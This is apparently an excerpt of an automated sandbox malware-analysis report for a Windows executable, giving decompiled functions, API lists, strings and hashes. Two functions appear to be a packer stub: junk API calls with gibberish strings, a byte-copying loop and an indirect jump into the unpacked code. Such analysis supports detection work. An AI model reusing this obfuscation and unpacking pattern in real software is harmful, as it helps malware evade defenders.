OutputDebugStringW.KERNEL32(004067AC), ref: 0042CE8E
_wcscat_s.LIBCMTD ref: 0042D044

Part of subcall function 00437B50: __invalid_parameter.LIBCMTD ref: 00437BC2

__invoke_watson_if_error.LIBCMTD ref: 0042D04D

Part of subcall function 0041E160: __invoke_watson.LIBCMTD ref: 0041E181

_wcscat_s.LIBCMTD ref: 0042D07C

Part of subcall function 00437B50: _memset.LIBCMT ref: 00437C2F
Part of subcall function 00437B50: __invalid_parameter.LIBCMTD ref: 00437C8B

__invoke_watson_if_error.LIBCMTD ref: 0042D085
__snwprintf_s.LIBCMTD ref: 0042D0DE

Part of subcall function 0042DC10: __vsnwprintf_s_l.LIBCMTD ref: 0042DC32

__invoke_watson_if_oneof.LIBCMTD ref: 0042D117
_wcscpy_s.LIBCMTD ref: 0042D15C
__invoke_watson_if_error.LIBCMTD ref: 0042D165
__invoke_watson_if_oneof.LIBCMTD ref: 0042D1ED
_wcscpy_s.LIBCMTD ref: 0042D22B
__invoke_watson_if_error.LIBCMTD ref: 0042D234
__itow_s.LIBCMTD ref: 0042CE2D

Part of subcall function 00438550: _xtow_s@20.LIBCMTD ref: 0043857B

__strftime_l.LIBCMTD ref: 0042CEE3
__invoke_watson_if_oneof.LIBCMTD ref: 0042CF1C
_wcscpy_s.LIBCMTD ref: 0042CF61
__invoke_watson_if_error.LIBCMTD ref: 0042CF6A
_wcscpy_s.LIBCMTD ref: 0042CFBD
__invoke_watson_if_error.LIBCMTD ref: 0042CFC6
_wcscat_s.LIBCMTD ref: 0042CFF7
__invoke_watson_if_error.LIBCMTD ref: 0042D000

Strings

wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 0042CFA5
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042D146
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 0042CE16, 0042D590
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042D482
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 0042D066
f@, xrefs: 0042CFAA, 0042CFB0
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042D215
_VCrtDbgReportW, xrefs: 0042CE11, 0042CF06, 0042CF46, 0042CFA0, 0042CFDA, 0042D029, 0042D061, 0042D101, 0042D141, 0042D1BF, 0042D210, 0042D47D, 0042D58B
_CrtDbgReport: String too long or IO Error, xrefs: 0042CF50, 0042D14B
P, xrefs: 0042D4C7
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042CF4B
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042D21A
Assertion failed: , xrefs: 0042CF7E
Assertion failed!, xrefs: 0042CF8A
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042D1C4
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042CFDF
Second Chance Assertion Failed: File , xrefs: 0042CE3E
%s(%d) : %s, xrefs: 0042D0C8
, Line , xrefs: 0042CE71
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042CE0C, 0042CF01, 0042CF41, 0042CF9B, 0042CFD5, 0042D024, 0042D05C, 0042D0FC, 0042D13C, 0042D1BA, 0042D20B, 0042D478, 0042D586
(*_errno()), xrefs: 0042CF0B, 0042D106
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 0042D02E
<file unknown>, xrefs: 0042CE5A

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnwprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f@
API String ID: 2252013794-1152050759
Opcode ID: 46be7004aeb5563fd6f5f7043af2bcf47e2a46aa14750a1c7225d7822876a1c1
Instruction ID: 6dd8c98c90169e9704a3fe3496a9ab6a6c9a3fa36aba33a9379614a72c2e1081
Opcode Fuzzy Hash: 46be7004aeb5563fd6f5f7043af2bcf47e2a46aa14750a1c7225d7822876a1c1
Instruction Fuzzy Hash: 9312B275E40328EADB20DF50DC46FDA7378AB08705F5081AAF509762C1D7BCAA94CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00419E0A, Relevance: 43.9, APIs: 17, Strings: 8, Instructions: 111
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00419E0A() {
				signed int _v8;
				char _v1116;
				char _v2140;
				char _v4196;
				struct _COORD _v4200;
				struct _STARTUPINFOW _v4276;
				union _ULARGE_INTEGER _v4284;
				union _ULARGE_INTEGER _v4292;
				short _v6340;
				union _ULARGE_INTEGER _v6348;
				char _v6636;
				signed int _v6640;
				void _v6672;
				signed int _v6676;

				E0041AC60(0x1a50);
				_v8 = _v8 & 0x00000000;
				while(_v8 < 0x332beaf6) {
					SetLastError(0);
					if( *0x54abf4 == 0x16) {
						GetConsoleCursorInfo(0, 0);
						GetProfileStringA("wegazevevemitohokababawijufapiyodewemu", "gugafavapisufetirenucihobeyokuxutebijubixofaxabe", "xoliwerarihazohupamuzuficumabaselacahexuxa",  &_v2140, 0);
						WriteProfileSectionW(0, 0);
						GetProfileStringA("yobahojicusenino", "pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow", "leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled",  &_v1116, 0);
					}
					GetLastError();
					if( *0x54abf4 == 0x9e) {
						__imp__GetSystemWow64DirectoryW( &_v4196, 0);
						GetWindowsDirectoryW( &_v6340, 0);
						__imp__GetCPInfoExA(0, 0,  &_v6636);
						GetDiskFreeSpaceExA("Yapey hetucironijas nuxo xukedosi bovuludut",  &_v4284,  &_v4292,  &_v6348);
						GetStartupInfoW( &_v4276);
						ReadConsoleOutputCharacterW(0, 0, 0, _v4200, 0);
					}
					if(_v8 <= 0x3775ee) {
						_v8 = _v8 + 1;
						continue;
					} else {
						break;
					}
				}
				L00419B38( *0x443950,  *0x54abf4, 0x440010);
				_v6640 = _v6640 & 0x00000000;
				while(_v6640 < 0x3e79e) {
					if( *0x54abf4 == 0x10) {
						GlobalUnWire( &_v6672);
					}
					if(_v6640 == 0x1e673) {
						 *0x443950 =  *0x443950 + 0x3b51;
					}
					_v6640 = _v6640 + 1;
				}
				_v6676 = _v6676 & 0x00000000;
				while(_v6676 < 0xdd9a7) {
					if( *0x54abf4 == 0xc01) {
						GetProcessHeap();
						GetProcessHeaps(0, 0);
						WritePrivateProfileStringA(0, 0, 0, 0);
						GetPriorityClass(0);
					}
					_v6676 = _v6676 + 1;
				}
				goto ( *0x443950);
			}

0x00419e12
0x00419e17
0x00419e24
0x00419e33
0x00419e40
0x00419e46
0x00419e64
0x00419e6e
0x00419e8c
0x00419e8c
0x00419e92
0x00419ea2
0x00419ead
0x00419ebc
0x00419ecd
0x00419eed
0x00419efa
0x00419f0e
0x00419f0e
0x00419f1b
0x00419e21
0x00000000
0x00419f1d
0x00000000
0x00419f1d
0x00419f1b
0x00419f35
0x00419f3a
0x00419f50
0x00419f63
0x00419f6c
0x00419f6c
0x00419f7c
0x00419f7e
0x00419f7e
0x00419f4a
0x00419f4a
0x00419f8a
0x00419fa0
0x00419fb6
0x00419fb8
0x00419fc2
0x00419fd0
0x00419fd8
0x00419fd8
0x00419f9a
0x00419f9a
0x00419fe0

APIs

SetLastError.KERNEL32(00000000), ref: 00419E33
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00419E46
GetProfileStringA.KERNEL32(wegazevevemitohokababawijufapiyodewemu,gugafavapisufetirenucihobeyokuxutebijubixofaxabe,xoliwerarihazohupamuzuficumabaselacahexuxa,?,00000000), ref: 00419E64
WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 00419E6E
GetProfileStringA.KERNEL32(yobahojicusenino,pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow,leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled,?,00000000), ref: 00419E8C
GetLastError.KERNEL32 ref: 00419E92
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 00419EAD
GetWindowsDirectoryW.KERNEL32(?,00000000), ref: 00419EBC
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 00419ECD
GetDiskFreeSpaceExA.KERNEL32(Yapey hetucironijas nuxo xukedosi bovuludut,?,?,?), ref: 00419EED
GetStartupInfoW.KERNEL32(?), ref: 00419EFA
ReadConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00419F0E
GlobalUnWire.KERNEL32 ref: 00419F6C
GetProcessHeap.KERNEL32 ref: 00419FB8
GetProcessHeaps.KERNEL32(00000000,00000000), ref: 00419FC2
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419FD0
GetPriorityClass.KERNEL32(00000000), ref: 00419FD8

Strings

leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled, xrefs: 00419E7D
gugafavapisufetirenucihobeyokuxutebijubixofaxabe, xrefs: 00419E5A
pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow, xrefs: 00419E82
wegazevevemitohokababawijufapiyodewemu, xrefs: 00419E5F
Yapey hetucironijas nuxo xukedosi bovuludut, xrefs: 00419EE8
u7, xrefs: 00419F14
yobahojicusenino, xrefs: 00419E87
xoliwerarihazohupamuzuficumabaselacahexuxa, xrefs: 00419E55

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: Profile$InfoString$ConsoleDirectoryErrorLastProcessWrite$CharacterClassCursorDiskFreeGlobalHeapHeapsOutputPriorityPrivateReadSectionSpaceStartupSystemWindowsWireWow64
String ID: Yapey hetucironijas nuxo xukedosi bovuludut$gugafavapisufetirenucihobeyokuxutebijubixofaxabe$leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled$pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow$wegazevevemitohokababawijufapiyodewemu$xoliwerarihazohupamuzuficumabaselacahexuxa$yobahojicusenino$u7
API String ID: 1951985626-1659383190
Opcode ID: a12dafa4f37dc779e702104e415c9a22ba83ab5e4b9fc7dcbd2d47c06479436f
Instruction ID: 7af984cdc328882a25c297e63199b8e131567efa71b7c18faaad81177ac63f6f
Opcode Fuzzy Hash: a12dafa4f37dc779e702104e415c9a22ba83ab5e4b9fc7dcbd2d47c06479436f
Instruction Fuzzy Hash: 29414C35945248EBEB10DB90DE19FD977B9AB04706F1040A6F24AF54E0C7B85AC5CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 00419BC1, Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 110
timefilepipeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00419BC1(union _FINDEX_INFO_LEVELS _a4) {
				void* _v8;
				void* _v22;
				struct _SYSTEMTIME _v24;
				void* _v38;
				struct _SYSTEMTIME _v40;
				void* _v56;
				struct _COMMTIMEOUTS _v60;
				struct _DCB _v88;
				struct _TIME_ZONE_INFORMATION _v260;
				char _v1284;
				void _v2308;
				intOrPtr _t25;
				union _FINDEX_INFO_LEVELS _t27;
				void* _t54;

				if( *0x54abf4 == 0x37) {
					_v60.ReadIntervalTimeout = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					BuildCommDCBAndTimeoutsW(L"lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix",  &_v88,  &_v60);
					CreateMailslotA("kinekecusaz", 0, 0, 0);
					CallNamedPipeA(0, 0, 0, 0, 0, 0, 0);
					ReleaseSemaphore(0, 0, 0);
					FindAtomA(0);
					_v40.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					_v24.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					SystemTimeToTzSpecificLocalTime( &_v260,  &_v40,  &_v24);
					__imp__SetComputerNameExA(0, "Hay sexulilef", _t54);
					SetConsoleCursorInfo(0, 0);
					TlsGetValue(0);
					CopyFileA(0, 0, 0);
					__imp__GetLongPathNameA(0,  &_v1284, 0);
					__imp__SetVolumeMountPointW(0, 0);
					SetProcessPriorityBoost(0, 0);
					FreeEnvironmentStringsA(0);
					GetDriveTypeW(L"fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb");
					FindFirstFileExW(L"gocibuzoluxomebaxabuviyupezadapebetag", _a4,  &_v2308, _a4, 0, 0);
				}
				_v8 = 0;
				_t25 =  *0x54abf8; // 0x3f6fda
				_v8 = _v8 + _t25;
				_v8 = _v8 + 0x12336;
				_t27 = _a4;
				 *((char*)( *0x443950 + _t27)) =  *((intOrPtr*)(_v8 + _t27));
				return _t27;
			}

0x00419bd4
0x00419bdd
0x00419be3
0x00419be4
0x00419be5
0x00419be6
0x00419bf4
0x00419c02
0x00419c0f
0x00419c18
0x00419c1f
0x00419c27
0x00419c2e
0x00419c2f
0x00419c30
0x00419c31
0x00419c35
0x00419c3c
0x00419c3d
0x00419c3e
0x00419c3f
0x00419c50
0x00419c5c
0x00419c64
0x00419c6b
0x00419c74
0x00419c83
0x00419c8b
0x00419c93
0x00419c9a
0x00419ca5
0x00419cbf
0x00419cc5
0x00419cc6
0x00419cc9
0x00419cce
0x00419cd6
0x00419cd9
0x00419ce8
0x00419ced

APIs

BuildCommDCBAndTimeoutsW.KERNEL32 ref: 00419BF4
CreateMailslotA.KERNEL32 ref: 00419C02
CallNamedPipeA.KERNEL32 ref: 00419C0F
ReleaseSemaphore.KERNEL32(00000000,00000000,00000000), ref: 00419C18
FindAtomA.KERNEL32(00000000), ref: 00419C1F
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 00419C50
SetComputerNameExA.KERNEL32(00000000,Hay sexulilef), ref: 00419C5C
SetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00419C64
TlsGetValue.KERNEL32(00000000), ref: 00419C6B
CopyFileA.KERNEL32 ref: 00419C74
GetLongPathNameA.KERNEL32(00000000,?,00000000), ref: 00419C83
SetVolumeMountPointW.KERNEL32(00000000,00000000), ref: 00419C8B
SetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 00419C93
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00419C9A
GetDriveTypeW.KERNEL32(fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb), ref: 00419CA5
FindFirstFileExW.KERNEL32(gocibuzoluxomebaxabuviyupezadapebetag,?,?,?,00000000,00000000), ref: 00419CBF

Strings

gocibuzoluxomebaxabuviyupezadapebetag, xrefs: 00419CBA
fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb, xrefs: 00419CA0
Hay sexulilef, xrefs: 00419C56
lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix, xrefs: 00419BEF
kinekecusaz, xrefs: 00419BFD

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: FileFindNameTime$AtomBoostBuildCallCommComputerConsoleCopyCreateCursorDriveEnvironmentFirstFreeInfoLocalLongMailslotMountNamedPathPipePointPriorityProcessReleaseSemaphoreSpecificStringsSystemTimeoutsTypeValueVolume
String ID: Hay sexulilef$fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb$gocibuzoluxomebaxabuviyupezadapebetag$kinekecusaz$lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix
API String ID: 118337534-294975296
Opcode ID: 37423c4208c0b499e0ca1bb7380f99eaf172967dce9c32aeb870ff6d8d22864b
Instruction ID: 049a97322cf24d996ed8875b2bcc9e0bd724881d8783a6b65a1f6ae379cb49e9
Opcode Fuzzy Hash: 37423c4208c0b499e0ca1bb7380f99eaf172967dce9c32aeb870ff6d8d22864b
Instruction Fuzzy Hash: B6311676802568BFD7519BE4DE089DFBBBCEF4A351B100022F245E2130D6385A85CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0042BF30, Relevance: 7.6, APIs: 5, Instructions: 59
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0042BF30(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x440354; // 0x48304d0a
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x54b520 = _t6;
				 *0x54b51c = _t20;
				 *0x54b518 = _t22;
				 *0x54b514 = _t19;
				 *0x54b510 = _t25;
				 *0x54b50c = _t24;
				 *0x54b538 = ss;
				 *0x54b52c = cs;
				 *0x54b508 = ds;
				 *0x54b504 = es;
				 *0x54b500 = fs;
				 *0x54b4fc = gs;
				asm("pushfd");
				_pop( *0x54b530);
				 *0x54b524 =  *_t29;
				 *0x54b528 = _v0;
				 *0x54b534 =  &_a4;
				 *0x54b470 = 0x10001;
				 *0x54b424 =  *0x54b528;
				 *0x54b418 = 0xc0000409;
				 *0x54b41c = 1;
				_t21 =  *0x440354; // 0x48304d0a
				_v812 = _t21;
				_t23 =  *0x440358; // 0xb7cfb2f5
				_v808 = _t23;
				 *0x54b468 = IsDebuggerPresent();
				_push(1);
				E00429C70(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x4080a8);
				if( *0x54b468 == 0) {
					_push(1);
					E00429C70(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0042bf30
0x0042bf30
0x0042bf30
0x0042bf30
0x0042bf30
0x0042bf30
0x0042bf30
0x0042bf36
0x0042bf38
0x0042bf38
0x0043647b
0x00436480
0x00436486
0x0043648c
0x00436492
0x00436498
0x0043649e
0x004364a5
0x004364ac
0x004364b3
0x004364ba
0x004364c1
0x004364c8
0x004364c9
0x004364d2
0x004364da
0x004364e2
0x004364ed
0x004364fc
0x00436501
0x0043650b
0x00436515
0x0043651b
0x00436521
0x00436527
0x00436533
0x00436538
0x0043653a
0x00436544
0x0043654f
0x0043655c
0x0043655e
0x00436560
0x00436565
0x0043657d

APIs

IsDebuggerPresent.KERNEL32 ref: 0043652D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00436544
UnhandledExceptionFilter.KERNEL32(004080A8), ref: 0043654F
GetCurrentProcess.KERNEL32(C0000409), ref: 0043656D
TerminateProcess.KERNEL32(00000000), ref: 00436574

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: e554159d45729f984b4e55959d683f09543159864c362a969ad9aff288cb7485
Instruction ID: d4dd30721bc173c176960b1b5743ba68dbcb17b8df5fae1b81ad6fddf0a42d55
Opcode Fuzzy Hash: e554159d45729f984b4e55959d683f09543159864c362a969ad9aff288cb7485
Instruction Fuzzy Hash: 1921F5BC8012049FEB04DF65FD446D4BBB4BB2A318F10516AE90893331F7748A89EF49

Uniqueness

Uniqueness Score: -1.00%

Function 0043B960, Relevance: 3.0, APIs: 2, Instructions: 12
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0043B960() {

				if(IsDebuggerPresent() == 0 || E0043B990(0x1004) == 0) {
					return 0;
				} else {
					return 1;
				}
			}

0x0043b968
0x0043b983
0x0043b97b
0x0043b980
0x0043b980

APIs

IsDebuggerPresent.KERNEL32(00434149), ref: 0043B960
DebuggerProbe.LIBCMTD ref: 0043B96F

Part of subcall function 0043B990: RaiseException.KERNEL32(406D1388,00000000,00000006,00001001), ref: 0043B9EC

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: Debugger$ExceptionPresentProbeRaise
String ID:
API String ID: 680636614-0
Opcode ID: 094488cd83843b86e19dbe82a2cd118ae04638020bad5d0c92a5a617beebd773
Instruction ID: 896ef5519b0d05371a1abd6248b9ad9f949e96d34c2e43b0b1a8afb4ac34c955
Opcode Fuzzy Hash: 094488cd83843b86e19dbe82a2cd118ae04638020bad5d0c92a5a617beebd773
Instruction Fuzzy Hash: 05C08CE4B0010202EE0006321C013432040EF0C702F4820B5AB84D8292FB6DC800C49A

Uniqueness

Uniqueness Score: -1.00%

Function 004287A0, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004287A0() {

				SetUnhandledExceptionFilter(E00428730);
				return 0;
			}

0x004287aa
0x004287b3

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00028730), ref: 004287AA

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c75e99e5ee3cb40e080ea72cb7e2fe92f96f07724c140eb794fb3cd170595ec6
Instruction ID: 4b43cf2c5435f577f0d6b76cd404d4e5463af7c763a24bb6bd43b860001b41db
Opcode Fuzzy Hash: c75e99e5ee3cb40e080ea72cb7e2fe92f96f07724c140eb794fb3cd170595ec6
Instruction Fuzzy Hash: ECB0123125420827570017F27C0DC077A8CC5C47703A10075F00CD1020DC619400405A

Uniqueness

Uniqueness Score: -1.00%

Function 0042C5BE, Relevance: 96.7, APIs: 33, Strings: 22, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042C5BE(struct _OVERLAPPED* __ecx) {
				CHAR* _t147;
				long _t160;
				void* _t164;
				void* _t167;
				void* _t171;
				struct _OVERLAPPED* _t179;
				struct _OVERLAPPED* _t197;
				struct _OVERLAPPED** _t198;
				void* _t208;
				void* _t209;
				void* _t259;
				void* _t260;
				void* _t261;
				void* _t262;
				signed int _t263;
				void* _t265;
				void* _t267;
				void* _t269;
				void* _t271;

				_t210 = __ecx;
				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t263 + 0x18)) != 0) {
						 *(_t263 - 0x5034) = 0;
						 *(_t263 - 0x5038) =  *(L00423010(_t210));
						 *(L00423010( *(L00423010(_t210)))) = 0;
						_t236 = _t263 - 0x5030;
						_t197 = E00436440(_t263 - 0x5030, 0x1000, 0xfeb,  *((intOrPtr*)(_t263 + 0x18)),  *((intOrPtr*)(_t263 + 0x1c)));
						_t265 = _t265 + 0x14;
						 *(_t263 - 0x5034) = _t197;
						if( *(_t263 - 0x5034) < 0) {
							E0041DBF0( *((intOrPtr*)(L00423010(_t236))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x12d, 0);
							_t265 = _t265 + 0x20;
						}
						_t198 = L00423010(_t236);
						_t210 =  *(_t263 - 0x5038);
						 *_t198 =  *(_t263 - 0x5038);
						if( *(_t263 - 0x5034) < 0) {
							E0041E160(E0041DCE0(_t208, _t210, _t261, _t263 - 0x5030, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t199, L"strcpy_s(szUserMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x130, 0);
							_t265 = _t265 + 0x24;
						}
					}
					if( *(_t263 + 8) == 2) {
						if( *((intOrPtr*)(_t263 + 0x18)) == 0) {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed!";
						} else {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed: ";
						}
						_t210 = _t263 - 0x4030;
						E0041E160(E0041DCE0(_t208, _t263 - 0x4030, _t261, _t263 - 0x4030, 0x1000,  *((intOrPtr*)(_t263 - 0x5068))), _t192, L"strcpy_s(szLineMessage, 4096, szFormat ? \"Assertion failed: \" : \"Assertion failed!\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x135, 0);
						_t265 = _t265 + 0x24;
					}
					E0041E160(E004323A0(_t208, _t210, _t259, _t261, _t263 - 0x4030, 0x1000, _t263 - 0x5030), _t136, L"strcat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x137, 0);
					_t267 = _t265 + 0x24;
					if( *(_t263 + 8) == 2) {
						_t234 =  *(_t263 + 8);
						if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0) {
							E0041E160(E004323A0(_t208, _t234, _t259, _t261, _t263 - 0x4030, 0x1000, "\r"), _t189, L"strcat_s(szLineMessage, 4096, \"\\r\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13c, 0);
							_t267 = _t267 + 0x24;
						}
						_t210 = _t263 - 0x4030;
						E0041E160(E004323A0(_t208, _t263 - 0x4030, _t259, _t261, _t263 - 0x4030, 0x1000, "\n"), _t186, L"strcat_s(szLineMessage, 4096, \"\\n\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13d, 0);
						_t267 = _t267 + 0x24;
					}
					if( *(_t263 + 0xc) == 0) {
